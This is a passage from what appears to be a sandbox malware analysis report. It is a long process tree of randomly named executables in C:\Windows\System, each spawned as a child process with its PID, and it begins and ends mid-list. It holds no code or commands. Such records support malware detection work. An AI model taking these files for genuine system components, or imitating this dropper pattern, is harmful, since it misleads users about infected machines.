  2⤵
  PID:6452
- C:\Windows\System\MBDfkoj.exe
  C:\Windows\System\MBDfkoj.exe
  2⤵
  PID:6468
- C:\Windows\System\kBoQNlc.exe
  C:\Windows\System\kBoQNlc.exe
  2⤵
  PID:6484
- C:\Windows\System\ukJSOLg.exe
  C:\Windows\System\ukJSOLg.exe
  2⤵
  PID:6500
- C:\Windows\System\PcSFTlT.exe
  C:\Windows\System\PcSFTlT.exe
  2⤵
  PID:6516
- C:\Windows\System\FXQUFcZ.exe
  C:\Windows\System\FXQUFcZ.exe
  2⤵
  PID:6532
- C:\Windows\System\iQCNyyL.exe
  C:\Windows\System\iQCNyyL.exe
  2⤵
  PID:6548
- C:\Windows\System\AIqcJeA.exe
  C:\Windows\System\AIqcJeA.exe
  2⤵
  PID:6564
- C:\Windows\System\WkwFtaQ.exe
  C:\Windows\System\WkwFtaQ.exe
  2⤵
  PID:6580
- C:\Windows\System\WduqjoN.exe
  C:\Windows\System\WduqjoN.exe
  2⤵
  PID:6596
- C:\Windows\System\xobrflL.exe
  C:\Windows\System\xobrflL.exe
  2⤵
  PID:6612
- C:\Windows\System\bVCcVzw.exe
  C:\Windows\System\bVCcVzw.exe
  2⤵
  PID:6628
- C:\Windows\System\NQvtOgX.exe
  C:\Windows\System\NQvtOgX.exe
  2⤵
  PID:6644
- C:\Windows\System\YFjUWQz.exe
  C:\Windows\System\YFjUWQz.exe
  2⤵
  PID:6660
- C:\Windows\System\YtoiMgQ.exe
  C:\Windows\System\YtoiMgQ.exe
  2⤵
  PID:6676
- C:\Windows\System\TXUZjhh.exe
  C:\Windows\System\TXUZjhh.exe
  2⤵
  PID:6692
- C:\Windows\System\nBfCEpT.exe
  C:\Windows\System\nBfCEpT.exe
  2⤵
  PID:6708
- C:\Windows\System\MiYNCsm.exe
  C:\Windows\System\MiYNCsm.exe
  2⤵
  PID:6724
- C:\Windows\System\bFEdcpz.exe
  C:\Windows\System\bFEdcpz.exe
  2⤵
  PID:6740
- C:\Windows\System\QRdJnXr.exe
  C:\Windows\System\QRdJnXr.exe
  2⤵
  PID:6756
- C:\Windows\System\orLskKX.exe
  C:\Windows\System\orLskKX.exe
  2⤵
  PID:6772
- C:\Windows\System\JGJFhbn.exe
  C:\Windows\System\JGJFhbn.exe
  2⤵
  PID:6788
- C:\Windows\System\gsGWFhS.exe
  C:\Windows\System\gsGWFhS.exe
  2⤵
  PID:6804
- C:\Windows\System\nsetywp.exe
  C:\Windows\System\nsetywp.exe
  2⤵
  PID:6820
- C:\Windows\System\JTaLTkh.exe
  C:\Windows\System\JTaLTkh.exe
  2⤵
  PID:6836
- C:\Windows\System\ifyboIg.exe
  C:\Windows\System\ifyboIg.exe
  2⤵
  PID:6852
- C:\Windows\System\rvkOBpY.exe
  C:\Windows\System\rvkOBpY.exe
  2⤵
  PID:6868
- C:\Windows\System\TDlCAlL.exe
  C:\Windows\System\TDlCAlL.exe
  2⤵
  PID:6884
- C:\Windows\System\sCAVtgA.exe
  C:\Windows\System\sCAVtgA.exe
  2⤵
  PID:6900
- C:\Windows\System\vrBqcqD.exe
  C:\Windows\System\vrBqcqD.exe
  2⤵
  PID:6916
- C:\Windows\System\jutoKyX.exe
  C:\Windows\System\jutoKyX.exe
  2⤵
  PID:6932
- C:\Windows\System\XyoYIpR.exe
  C:\Windows\System\XyoYIpR.exe
  2⤵
  PID:6948
- C:\Windows\System\WQDDdzh.exe
  C:\Windows\System\WQDDdzh.exe
  2⤵
  PID:6964
- C:\Windows\System\fdYnWMf.exe
  C:\Windows\System\fdYnWMf.exe
  2⤵
  PID:6980
- C:\Windows\System\ZIAMVfv.exe
  C:\Windows\System\ZIAMVfv.exe
  2⤵
  PID:6996
- C:\Windows\System\GxbMeFa.exe
  C:\Windows\System\GxbMeFa.exe
  2⤵
  PID:7012
- C:\Windows\System\ulBbyyN.exe
  C:\Windows\System\ulBbyyN.exe
  2⤵
  PID:7028
- C:\Windows\System\TgvEnKv.exe
  C:\Windows\System\TgvEnKv.exe
  2⤵
  PID:7044
- C:\Windows\System\CFdXJPy.exe
  C:\Windows\System\CFdXJPy.exe
  2⤵
  PID:7060
- C:\Windows\System\VvYxlSK.exe
  C:\Windows\System\VvYxlSK.exe
  2⤵
  PID:7076
- C:\Windows\System\wIGiKSf.exe
  C:\Windows\System\wIGiKSf.exe
  2⤵
  PID:7092
- C:\Windows\System\TKubTTu.exe
  C:\Windows\System\TKubTTu.exe
  2⤵
  PID:7108
- C:\Windows\System\zloZdOn.exe
  C:\Windows\System\zloZdOn.exe
  2⤵
  PID:7124
- C:\Windows\System\ciKPPhv.exe
  C:\Windows\System\ciKPPhv.exe
  2⤵
  PID:7140
- C:\Windows\System\iHCewAF.exe
  C:\Windows\System\iHCewAF.exe
  2⤵
  PID:7160
- C:\Windows\System\kDHtYWI.exe
  C:\Windows\System\kDHtYWI.exe
  2⤵
  PID:5384
- C:\Windows\System\jKbrimD.exe
  C:\Windows\System\jKbrimD.exe
  2⤵
  PID:6060
- C:\Windows\System\TFcRUeE.exe
  C:\Windows\System\TFcRUeE.exe
  2⤵
  PID:6164
- C:\Windows\System\pxZBgaS.exe
  C:\Windows\System\pxZBgaS.exe
  2⤵
  PID:6204
- C:\Windows\System\MrTusrW.exe
  C:\Windows\System\MrTusrW.exe
  2⤵
  PID:6340
- C:\Windows\System\TEmweJH.exe
  C:\Windows\System\TEmweJH.exe
  2⤵
  PID:6268
- C:\Windows\System\YnRNErM.exe
  C:\Windows\System\YnRNErM.exe
  2⤵
  PID:6148
- C:\Windows\System\rwQTvTh.exe
  C:\Windows\System\rwQTvTh.exe
  2⤵
  PID:5348
- C:\Windows\System\JTZxNoM.exe
  C:\Windows\System\JTZxNoM.exe
  2⤵
  PID:5584
- C:\Windows\System\ckxKTvC.exe
  C:\Windows\System\ckxKTvC.exe
  2⤵
  PID:5420
- C:\Windows\System\KihkfZN.exe
  C:\Windows\System\KihkfZN.exe
  2⤵
  PID:6096
- C:\Windows\System\HWRUzJC.exe
  C:\Windows\System\HWRUzJC.exe
  2⤵
  PID:6188
- C:\Windows\System\UucDYPv.exe
  C:\Windows\System\UucDYPv.exe
  2⤵
  PID:6284
- C:\Windows\System\YaBsGKT.exe
  C:\Windows\System\YaBsGKT.exe
  2⤵
  PID:6384
- C:\Windows\System\fCtAduR.exe
  C:\Windows\System\fCtAduR.exe
  2⤵
  PID:6376
- C:\Windows\System\HcKURqJ.exe
  C:\Windows\System\HcKURqJ.exe
  2⤵
  PID:6412
- C:\Windows\System\rprfqzF.exe
  C:\Windows\System\rprfqzF.exe
  2⤵
  PID:6480
- C:\Windows\System\ituPMFa.exe
  C:\Windows\System\ituPMFa.exe
  2⤵
  PID:6496
- C:\Windows\System\mBWLqVe.exe
  C:\Windows\System\mBWLqVe.exe
  2⤵
  PID:6620
- C:\Windows\System\TtCsocy.exe
  C:\Windows\System\TtCsocy.exe
  2⤵
  PID:6592
- C:\Windows\System\UBgBHVY.exe
  C:\Windows\System\UBgBHVY.exe
  2⤵
  PID:6688
- C:\Windows\System\MxEdOyS.exe
  C:\Windows\System\MxEdOyS.exe
  2⤵
  PID:6716
- C:\Windows\System\QgDaJVw.exe
  C:\Windows\System\QgDaJVw.exe
  2⤵
  PID:6576
- C:\Windows\System\DWrBKqV.exe
  C:\Windows\System\DWrBKqV.exe
  2⤵
  PID:6640
- C:\Windows\System\UVTuIZx.exe
  C:\Windows\System\UVTuIZx.exe
  2⤵
  PID:6732
- C:\Windows\System\omzxlNP.exe
  C:\Windows\System\omzxlNP.exe
  2⤵
  PID:6784
- C:\Windows\System\nhCJcIq.exe
  C:\Windows\System\nhCJcIq.exe
  2⤵
  PID:6844
- C:\Windows\System\tnioEhp.exe
  C:\Windows\System\tnioEhp.exe
  2⤵
  PID:6908
- C:\Windows\System\tvqxJtP.exe
  C:\Windows\System\tvqxJtP.exe
  2⤵
  PID:1592
- C:\Windows\System\kBKXMyS.exe
  C:\Windows\System\kBKXMyS.exe
  2⤵
  PID:6800
- C:\Windows\System\NuHjHvY.exe
  C:\Windows\System\NuHjHvY.exe
  2⤵
  PID:6828
- C:\Windows\System\AhbEbJr.exe
  C:\Windows\System\AhbEbJr.exe
  2⤵
  PID:6864
- C:\Windows\System\bcvAwJd.exe
  C:\Windows\System\bcvAwJd.exe
  2⤵
  PID:6928
- C:\Windows\System\SmRELkD.exe
  C:\Windows\System\SmRELkD.exe
  2⤵
  PID:7008
- C:\Windows\System\ZShEFqt.exe
  C:\Windows\System\ZShEFqt.exe
  2⤵
  PID:7020
- C:\Windows\System\vphIjIa.exe
  C:\Windows\System\vphIjIa.exe
  2⤵
  PID:7040
- C:\Windows\System\shUXooR.exe
  C:\Windows\System\shUXooR.exe
  2⤵
  PID:7136
- C:\Windows\System\hgYCoML.exe
  C:\Windows\System\hgYCoML.exe
  2⤵
  PID:6036
- C:\Windows\System\allyNEI.exe
  C:\Windows\System\allyNEI.exe
  2⤵
  PID:6272
- C:\Windows\System\CNQJsiU.exe
  C:\Windows\System\CNQJsiU.exe
  2⤵
  PID:5400
- C:\Windows\System\HbZgeYH.exe
  C:\Windows\System\HbZgeYH.exe
  2⤵
  PID:6252
- C:\Windows\System\qRKWXPS.exe
  C:\Windows\System\qRKWXPS.exe
  2⤵
  PID:6448
- C:\Windows\System\IcCnJhV.exe
  C:\Windows\System\IcCnJhV.exe
  2⤵
  PID:6528
- C:\Windows\System\daHSybM.exe
  C:\Windows\System\daHSybM.exe
  2⤵
  PID:6700
- C:\Windows\System\tnoFsjK.exe
  C:\Windows\System\tnoFsjK.exe
  2⤵
  PID:6748
- C:\Windows\System\KOHUqYU.exe
  C:\Windows\System\KOHUqYU.exe
  2⤵
  PID:6796
- C:\Windows\System\epZvaxu.exe
  C:\Windows\System\epZvaxu.exe
  2⤵
  PID:7088
- C:\Windows\System\bgLiJHU.exe
  C:\Windows\System\bgLiJHU.exe
  2⤵
  PID:6240
- C:\Windows\System\DdBSeCk.exe
  C:\Windows\System\DdBSeCk.exe
  2⤵
  PID:6572
- C:\Windows\System\QFkpPtn.exe
  C:\Windows\System\QFkpPtn.exe
  2⤵
  PID:7152
- C:\Windows\System\YsOhDTg.exe
  C:\Windows\System\YsOhDTg.exe
  2⤵
  PID:6476
- C:\Windows\System\fERrciW.exe
  C:\Windows\System\fERrciW.exe
  2⤵
  PID:6560
- C:\Windows\System\NRkMIaU.exe
  C:\Windows\System\NRkMIaU.exe
  2⤵
  PID:7172
- C:\Windows\System\DrqvkUk.exe
  C:\Windows\System\DrqvkUk.exe
  2⤵
  PID:7188
- C:\Windows\System\mewTNTj.exe
  C:\Windows\System\mewTNTj.exe
  2⤵
  PID:7204
- C:\Windows\System\pdRXGYQ.exe
  C:\Windows\System\pdRXGYQ.exe
  2⤵
  PID:7220
- C:\Windows\System\VHOVzSI.exe
  C:\Windows\System\VHOVzSI.exe
  2⤵
  PID:7236
- C:\Windows\System\OvKpVXF.exe
  C:\Windows\System\OvKpVXF.exe
  2⤵
  PID:7256
- C:\Windows\System\twHtqNL.exe
  C:\Windows\System\twHtqNL.exe
  2⤵
  PID:7272
- C:\Windows\System\CXrAlfk.exe
  C:\Windows\System\CXrAlfk.exe
  2⤵
  PID:7292
- C:\Windows\System\rKkOGHp.exe
  C:\Windows\System\rKkOGHp.exe
  2⤵
  PID:7328
- C:\Windows\System\eAsUgBX.exe
  C:\Windows\System\eAsUgBX.exe
  2⤵
  PID:7344
- C:\Windows\System\iBoDOoa.exe
  C:\Windows\System\iBoDOoa.exe
  2⤵
  PID:7360
- C:\Windows\System\OzZUMmU.exe
  C:\Windows\System\OzZUMmU.exe
  2⤵
  PID:7376
- C:\Windows\System\YlALdvq.exe
  C:\Windows\System\YlALdvq.exe
  2⤵
  PID:7392
- C:\Windows\System\tlqBjlJ.exe
  C:\Windows\System\tlqBjlJ.exe
  2⤵
  PID:7408
- C:\Windows\System\VVpAaah.exe
  C:\Windows\System\VVpAaah.exe
  2⤵
  PID:7424
- C:\Windows\System\awkIhNL.exe
  C:\Windows\System\awkIhNL.exe
  2⤵
  PID:7440
- C:\Windows\System\WySnWFs.exe
  C:\Windows\System\WySnWFs.exe
  2⤵
  PID:7456
- C:\Windows\System\DVhzBti.exe
  C:\Windows\System\DVhzBti.exe
  2⤵
  PID:7472
- C:\Windows\System\hPBFhOt.exe
  C:\Windows\System\hPBFhOt.exe
  2⤵
  PID:7488
- C:\Windows\System\VPqYUeM.exe
  C:\Windows\System\VPqYUeM.exe
  2⤵
  PID:7504
- C:\Windows\System\SutHyAR.exe
  C:\Windows\System\SutHyAR.exe
  2⤵
  PID:7524
- C:\Windows\System\INhZxHC.exe
  C:\Windows\System\INhZxHC.exe
  2⤵
  PID:7540
- C:\Windows\System\lCfXRCV.exe
  C:\Windows\System\lCfXRCV.exe
  2⤵
  PID:7564
- C:\Windows\System\lRdaAhF.exe
  C:\Windows\System\lRdaAhF.exe
  2⤵
  PID:7580
- C:\Windows\System\TwvZZej.exe
  C:\Windows\System\TwvZZej.exe
  2⤵
  PID:7596
- C:\Windows\System\QKjCsng.exe
  C:\Windows\System\QKjCsng.exe
  2⤵
  PID:7616
- C:\Windows\System\nZPhMaV.exe
  C:\Windows\System\nZPhMaV.exe
  2⤵
  PID:7632
- C:\Windows\System\XxPnoVM.exe
  C:\Windows\System\XxPnoVM.exe
  2⤵
  PID:7648
- C:\Windows\System\YOZoKnJ.exe
  C:\Windows\System\YOZoKnJ.exe
  2⤵
  PID:7664
- C:\Windows\System\wSWlbKM.exe
  C:\Windows\System\wSWlbKM.exe
  2⤵
  PID:7700
- C:\Windows\System\jZMESVv.exe
  C:\Windows\System\jZMESVv.exe
  2⤵
  PID:7716
- C:\Windows\System\dsxlBvZ.exe
  C:\Windows\System\dsxlBvZ.exe
  2⤵
  PID:7732
- C:\Windows\System\IpQoVwa.exe
  C:\Windows\System\IpQoVwa.exe
  2⤵
  PID:7748
- C:\Windows\System\oYRSTzS.exe
  C:\Windows\System\oYRSTzS.exe
  2⤵
  PID:7764
- C:\Windows\System\DufITBx.exe
  C:\Windows\System\DufITBx.exe
  2⤵
  PID:7780
- C:\Windows\System\uXngqrh.exe
  C:\Windows\System\uXngqrh.exe
  2⤵
  PID:7796
- C:\Windows\System\SaWPUns.exe
  C:\Windows\System\SaWPUns.exe
  2⤵
  PID:7812
- C:\Windows\System\mMPXwPi.exe
  C:\Windows\System\mMPXwPi.exe
  2⤵
  PID:7828
- C:\Windows\System\pJqzgzu.exe
  C:\Windows\System\pJqzgzu.exe
  2⤵
  PID:7844
- C:\Windows\System\WimAnzL.exe
  C:\Windows\System\WimAnzL.exe
  2⤵
  PID:7860
- C:\Windows\System\RlEEaNU.exe
  C:\Windows\System\RlEEaNU.exe
  2⤵
  PID:7880
- C:\Windows\System\xBiNfLu.exe
  C:\Windows\System\xBiNfLu.exe
  2⤵
  PID:7896
- C:\Windows\System\soHkYVF.exe
  C:\Windows\System\soHkYVF.exe
  2⤵
  PID:7912
- C:\Windows\System\CcQnanx.exe
  C:\Windows\System\CcQnanx.exe
  2⤵
  PID:7928
- C:\Windows\System\wWzPXqe.exe
  C:\Windows\System\wWzPXqe.exe
  2⤵
  PID:7948
- C:\Windows\System\ATFnySU.exe
  C:\Windows\System\ATFnySU.exe
  2⤵
  PID:7964
- C:\Windows\System\nzioIhE.exe
  C:\Windows\System\nzioIhE.exe
  2⤵
  PID:7980
- C:\Windows\System\VquZuRx.exe
  C:\Windows\System\VquZuRx.exe
  2⤵
  PID:8000
- C:\Windows\System\NVSjdcM.exe
  C:\Windows\System\NVSjdcM.exe
  2⤵
  PID:8016
- C:\Windows\System\CFMPKly.exe
  C:\Windows\System\CFMPKly.exe
  2⤵
  PID:8032
- C:\Windows\System\hxYtOkh.exe
  C:\Windows\System\hxYtOkh.exe
  2⤵
  PID:8048
- C:\Windows\System\MauCOoI.exe
  C:\Windows\System\MauCOoI.exe
  2⤵
  PID:8064
- C:\Windows\System\EHBaTql.exe
  C:\Windows\System\EHBaTql.exe
  2⤵
  PID:8092
- C:\Windows\System\BftEFFL.exe
  C:\Windows\System\BftEFFL.exe
  2⤵
  PID:8108
- C:\Windows\System\cbSEtjo.exe
  C:\Windows\System\cbSEtjo.exe
  2⤵
  PID:8124
- C:\Windows\System\OgaPPIr.exe
  C:\Windows\System\OgaPPIr.exe
  2⤵
  PID:8144
- C:\Windows\System\YnLUruP.exe
  C:\Windows\System\YnLUruP.exe
  2⤵
  PID:8160
- C:\Windows\System\pPxCYHm.exe
  C:\Windows\System\pPxCYHm.exe
  2⤵
  PID:7232
- C:\Windows\System\WHMmTRI.exe
  C:\Windows\System\WHMmTRI.exe
  2⤵
  PID:5352
- C:\Windows\System\Ioqzeei.exe
  C:\Windows\System\Ioqzeei.exe
  2⤵
  PID:7560
- C:\Windows\System\vBdNuiM.exe
  C:\Windows\System\vBdNuiM.exe
  2⤵
  PID:7656
- C:\Windows\System\yttnvSD.exe
  C:\Windows\System\yttnvSD.exe
  2⤵
  PID:7372
- C:\Windows\System\txAtrBa.exe
  C:\Windows\System\txAtrBa.exe
  2⤵
  PID:7708
- C:\Windows\System\yhdhfZv.exe
  C:\Windows\System\yhdhfZv.exe
  2⤵
  PID:7772
- C:\Windows\System\lhzOWbO.exe
  C:\Windows\System\lhzOWbO.exe
  2⤵
  PID:7836
- C:\Windows\System\kAMZAqD.exe
  C:\Windows\System\kAMZAqD.exe
  2⤵
  PID:7724
- C:\Windows\System\gsXsnNb.exe
  C:\Windows\System\gsXsnNb.exe
  2⤵
  PID:7728
- C:\Windows\System\YDuGLMV.exe
  C:\Windows\System\YDuGLMV.exe
  2⤵
  PID:7792
- C:\Windows\System\rBpjXKg.exe
  C:\Windows\System\rBpjXKg.exe
  2⤵
  PID:7872
- C:\Windows\System\fCtynqQ.exe
  C:\Windows\System\fCtynqQ.exe
  2⤵
  PID:7868
- C:\Windows\System\FIxIAYa.exe
  C:\Windows\System\FIxIAYa.exe
  2⤵
  PID:7976
- C:\Windows\System\RzrvLOO.exe
  C:\Windows\System\RzrvLOO.exe
  2⤵
  PID:7892
- C:\Windows\System\XbbDgad.exe
  C:\Windows\System\XbbDgad.exe
  2⤵
  PID:7960
- C:\Windows\System\TBoLHMQ.exe
  C:\Windows\System\TBoLHMQ.exe
  2⤵
  PID:8072
- C:\Windows\System\ahEdpOx.exe
  C:\Windows\System\ahEdpOx.exe
  2⤵
  PID:8044
- C:\Windows\System\SeUgdIt.exe
  C:\Windows\System\SeUgdIt.exe
  2⤵
  PID:8156
- C:\Windows\System\DyioSRS.exe
  C:\Windows\System\DyioSRS.exe
  2⤵
  PID:8028
- C:\Windows\System\wBCxrfT.exe
  C:\Windows\System\wBCxrfT.exe
  2⤵
  PID:8184
- C:\Windows\System\XArrlSs.exe
  C:\Windows\System\XArrlSs.exe
  2⤵
  PID:7228
- C:\Windows\System\wnSpmxY.exe
  C:\Windows\System\wnSpmxY.exe
  2⤵
  PID:8168
- C:\Windows\System\eSYiepn.exe
  C:\Windows\System\eSYiepn.exe
  2⤵
  PID:8188
- C:\Windows\System\merRaKE.exe
  C:\Windows\System\merRaKE.exe
  2⤵
  PID:6464
- C:\Windows\System\bQWSCrH.exe
  C:\Windows\System\bQWSCrH.exe
  2⤵
  PID:7200
- C:\Windows\System\OtQNaKN.exe
  C:\Windows\System\OtQNaKN.exe
  2⤵
  PID:3472
- C:\Windows\System\rvpRwko.exe
  C:\Windows\System\rvpRwko.exe
  2⤵
  PID:7116
- C:\Windows\System\NvSiuBT.exe
  C:\Windows\System\NvSiuBT.exe
  2⤵
  PID:7248
- C:\Windows\System\mcSHvkT.exe
  C:\Windows\System\mcSHvkT.exe
  2⤵
  PID:5572
- C:\Windows\System\oMrxxsv.exe
  C:\Windows\System\oMrxxsv.exe
  2⤵
  PID:6704
- C:\Windows\System\HTkFpzr.exe
  C:\Windows\System\HTkFpzr.exe
  2⤵
  PID:7264
- C:\Windows\System\mxWgiBH.exe
  C:\Windows\System\mxWgiBH.exe
  2⤵
  PID:7416
- C:\Windows\System\IFyVfdi.exe
  C:\Windows\System\IFyVfdi.exe
  2⤵
  PID:6780
- C:\Windows\System\iEwKLUK.exe
  C:\Windows\System\iEwKLUK.exe
  2⤵
  PID:6432
- C:\Windows\System\BGLZYQE.exe
  C:\Windows\System\BGLZYQE.exe
  2⤵
  PID:6636
- C:\Windows\System\OwUUwXO.exe
  C:\Windows\System\OwUUwXO.exe
  2⤵
  PID:6976
- C:\Windows\System\rTLIiKS.exe
  C:\Windows\System\rTLIiKS.exe
  2⤵
  PID:6988
- C:\Windows\System\pgKfpwU.exe
  C:\Windows\System\pgKfpwU.exe
  2⤵
  PID:5804
- C:\Windows\System\OGqFPaY.exe
  C:\Windows\System\OGqFPaY.exe
  2⤵
  PID:6684
- C:\Windows\System\rlFSKZg.exe
  C:\Windows\System\rlFSKZg.exe
  2⤵
  PID:6236
- C:\Windows\System\TopIAfN.exe
  C:\Windows\System\TopIAfN.exe
  2⤵
  PID:7212
- C:\Windows\System\kLcoPog.exe
  C:\Windows\System\kLcoPog.exe
  2⤵
  PID:7268
- C:\Windows\System\jlJkpeh.exe
  C:\Windows\System\jlJkpeh.exe
  2⤵
  PID:7324
- C:\Windows\System\pgpqqPt.exe
  C:\Windows\System\pgpqqPt.exe
  2⤵
  PID:7448
- C:\Windows\System\KYLclyg.exe
  C:\Windows\System\KYLclyg.exe
  2⤵
  PID:7516
- C:\Windows\System\zbVixbV.exe
  C:\Windows\System\zbVixbV.exe
  2⤵
  PID:5544
- C:\Windows\System\aQwWOba.exe
  C:\Windows\System\aQwWOba.exe
  2⤵
  PID:7368
- C:\Windows\System\iTdEPAh.exe
  C:\Windows\System\iTdEPAh.exe
  2⤵
  PID:7432
- C:\Windows\System\gGQndzR.exe
  C:\Windows\System\gGQndzR.exe
  2⤵
  PID:7500
- C:\Windows\System\TbhKJVl.exe
  C:\Windows\System\TbhKJVl.exe
  2⤵
  PID:7608
- C:\Windows\System\RKbFXUN.exe
  C:\Windows\System\RKbFXUN.exe
  2⤵
  PID:7804
- C:\Windows\System\MBiPzHY.exe
  C:\Windows\System\MBiPzHY.exe
  2⤵
  PID:7820
- C:\Windows\System\cTzDjPs.exe
  C:\Windows\System\cTzDjPs.exe
  2⤵
  PID:7972
- C:\Windows\System\DEQDMpc.exe
  C:\Windows\System\DEQDMpc.exe
  2⤵
  PID:8040
- C:\Windows\System\bRvohlj.exe
  C:\Windows\System\bRvohlj.exe
  2⤵
  PID:8100
- C:\Windows\System\HhVbZab.exe
  C:\Windows\System\HhVbZab.exe
  2⤵
  PID:6304
- C:\Windows\System\uXltWeL.exe
  C:\Windows\System\uXltWeL.exe
  2⤵
  PID:6316
- C:\Windows\System\MpEGcRW.exe
  C:\Windows\System\MpEGcRW.exe
  2⤵
  PID:7908
- C:\Windows\System\AONcWxy.exe
  C:\Windows\System\AONcWxy.exe
  2⤵
  PID:7856
- C:\Windows\System\UhFsNQX.exe
  C:\Windows\System\UhFsNQX.exe
  2⤵
  PID:8116
- C:\Windows\System\LEPufOJ.exe
  C:\Windows\System\LEPufOJ.exe
  2⤵
  PID:8132
- C:\Windows\System\YQzJvMq.exe
  C:\Windows\System\YQzJvMq.exe
  2⤵
  PID:6356
- C:\Windows\System\NEptQup.exe
  C:\Windows\System\NEptQup.exe
  2⤵
  PID:6364
- C:\Windows\System\yQIrPPa.exe
  C:\Windows\System\yQIrPPa.exe
  2⤵
  PID:7252
- C:\Windows\System\rBxenGb.exe
  C:\Windows\System\rBxenGb.exe
  2⤵
  PID:7320
- C:\Windows\System\NThoEhD.exe
  C:\Windows\System\NThoEhD.exe
  2⤵
  PID:6892
- C:\Windows\System\FsUvqbN.exe
  C:\Windows\System\FsUvqbN.exe
  2⤵
  PID:6492
- C:\Windows\System\xFMDjCM.exe
  C:\Windows\System\xFMDjCM.exe
  2⤵
  PID:6000
- C:\Windows\System\ENXwocu.exe
  C:\Windows\System\ENXwocu.exe
  2⤵
  PID:6880
- C:\Windows\System\KTnQIBY.exe
  C:\Windows\System\KTnQIBY.exe
  2⤵
  PID:7480
- C:\Windows\System\tmQqPiw.exe
  C:\Windows\System\tmQqPiw.exe
  2⤵
  PID:7588
- C:\Windows\System\kpLrZUk.exe
  C:\Windows\System\kpLrZUk.exe
  2⤵
  PID:7468
- C:\Windows\System\uGVHDtw.exe
  C:\Windows\System\uGVHDtw.exe
  2⤵
  PID:7576
- C:\Windows\System\tkSZIQR.exe
  C:\Windows\System\tkSZIQR.exe
  2⤵
  PID:7684
- C:\Windows\System\MdYABvy.exe
  C:\Windows\System\MdYABvy.exe
  2⤵
  PID:7644
- C:\Windows\System\JRuYAMA.exe
  C:\Windows\System\JRuYAMA.exe
  2⤵
  PID:8024
- C:\Windows\System\ICsXIfc.exe
  C:\Windows\System\ICsXIfc.exe
  2⤵
  PID:7120
- C:\Windows\System\VQEEQoc.exe
  C:\Windows\System\VQEEQoc.exe
  2⤵
  PID:6320
- C:\Windows\System\VsQxeEB.exe
  C:\Windows\System\VsQxeEB.exe
  2⤵
  PID:7788
- C:\Windows\System\AxPRMcQ.exe
  C:\Windows\System\AxPRMcQ.exe
  2⤵
  PID:7196
- C:\Windows\System\Keaxfjn.exe
  C:\Windows\System\Keaxfjn.exe
  2⤵
  PID:6876
- C:\Windows\System\AfDdzvY.exe
  C:\Windows\System\AfDdzvY.exe
  2⤵
  PID:6944
- C:\Windows\System\iKMAxzI.exe
  C:\Windows\System\iKMAxzI.exe
  2⤵
  PID:7352
- C:\Windows\System\ZpVKmXJ.exe
  C:\Windows\System\ZpVKmXJ.exe
  2⤵
  PID:7612
- C:\Windows\System\LlEGCHS.exe
  C:\Windows\System\LlEGCHS.exe
  2⤵
  PID:7956
- C:\Windows\System\LzZgRxl.exe
  C:\Windows\System\LzZgRxl.exe
  2⤵
  PID:7156
- C:\Windows\System\rGrGmgC.exe
  C:\Windows\System\rGrGmgC.exe
  2⤵
  PID:8060
- C:\Windows\System\FVhbjzH.exe
  C:\Windows\System\FVhbjzH.exe
  2⤵
  PID:7696
- C:\Windows\System\apyhmyY.exe
  C:\Windows\System\apyhmyY.exe
  2⤵
  PID:8204
- C:\Windows\System\qmxVlGQ.exe
  C:\Windows\System\qmxVlGQ.exe
  2⤵
  PID:8220
- C:\Windows\System\KgtbLte.exe
  C:\Windows\System\KgtbLte.exe
  2⤵
  PID:8236
- C:\Windows\System\fmmEWuL.exe
  C:\Windows\System\fmmEWuL.exe
  2⤵
  PID:8252
- C:\Windows\System\LUIBfDL.exe
  C:\Windows\System\LUIBfDL.exe
  2⤵
  PID:8312
- C:\Windows\System\tYHCJiO.exe
  C:\Windows\System\tYHCJiO.exe
  2⤵
  PID:8332
- C:\Windows\System\QuTHdHi.exe
  C:\Windows\System\QuTHdHi.exe
  2⤵
  PID:8356
- C:\Windows\System\TXAVSDd.exe
  C:\Windows\System\TXAVSDd.exe
  2⤵
  PID:8372
- C:\Windows\System\dGgSVmX.exe
  C:\Windows\System\dGgSVmX.exe
  2⤵
  PID:8392
- C:\Windows\System\NnZUgIt.exe
  C:\Windows\System\NnZUgIt.exe
  2⤵
  PID:8408
- C:\Windows\System\ScBdfhM.exe
  C:\Windows\System\ScBdfhM.exe
  2⤵
  PID:8428
- C:\Windows\System\KTANlqo.exe
  C:\Windows\System\KTANlqo.exe
  2⤵
  PID:8572
- C:\Windows\System\CbtHsPq.exe
  C:\Windows\System\CbtHsPq.exe
  2⤵
  PID:8604
- C:\Windows\System\lgpXgIr.exe
  C:\Windows\System\lgpXgIr.exe
  2⤵
  PID:8620
- C:\Windows\System\trKwjDm.exe
  C:\Windows\System\trKwjDm.exe
  2⤵
  PID:8636
- C:\Windows\System\ZsCuVbw.exe
  C:\Windows\System\ZsCuVbw.exe
  2⤵
  PID:8652
- C:\Windows\System\ZfmBpZO.exe
  C:\Windows\System\ZfmBpZO.exe
  2⤵
  PID:8668
- C:\Windows\System\NZRfezA.exe
  C:\Windows\System\NZRfezA.exe
  2⤵
  PID:8684
- C:\Windows\System\wuxBMBo.exe
  C:\Windows\System\wuxBMBo.exe
  2⤵
  PID:8700
- C:\Windows\System\eDibrNl.exe
  C:\Windows\System\eDibrNl.exe
  2⤵
  PID:8716
- C:\Windows\System\SVHpDOc.exe
  C:\Windows\System\SVHpDOc.exe
  2⤵
  PID:8732
- C:\Windows\System\OseVNbP.exe
  C:\Windows\System\OseVNbP.exe
  2⤵
  PID:8748
- C:\Windows\System\knzdVgM.exe
  C:\Windows\System\knzdVgM.exe
  2⤵
  PID:8764
- C:\Windows\System\GFhSIXR.exe
  C:\Windows\System\GFhSIXR.exe
  2⤵
  PID:8780
- C:\Windows\System\BlXvEKC.exe
  C:\Windows\System\BlXvEKC.exe
  2⤵
  PID:8804
- C:\Windows\System\InmEewT.exe
  C:\Windows\System\InmEewT.exe
  2⤵
  PID:8824
- C:\Windows\System\lJvowSq.exe
  C:\Windows\System\lJvowSq.exe
  2⤵
  PID:8840
- C:\Windows\System\xUGKcDY.exe
  C:\Windows\System\xUGKcDY.exe
  2⤵
  PID:8856
- C:\Windows\System\stBhJPi.exe
  C:\Windows\System\stBhJPi.exe
  2⤵
  PID:8872
- C:\Windows\System\TilaFIL.exe
  C:\Windows\System\TilaFIL.exe
  2⤵
  PID:8888
- C:\Windows\System\etpHdeG.exe
  C:\Windows\System\etpHdeG.exe
  2⤵
  PID:8904
- C:\Windows\System\TrFXtzN.exe
  C:\Windows\System\TrFXtzN.exe
  2⤵
  PID:8920
- C:\Windows\System\jUjCBbM.exe
  C:\Windows\System\jUjCBbM.exe
  2⤵
  PID:8936
- C:\Windows\System\UjRusku.exe
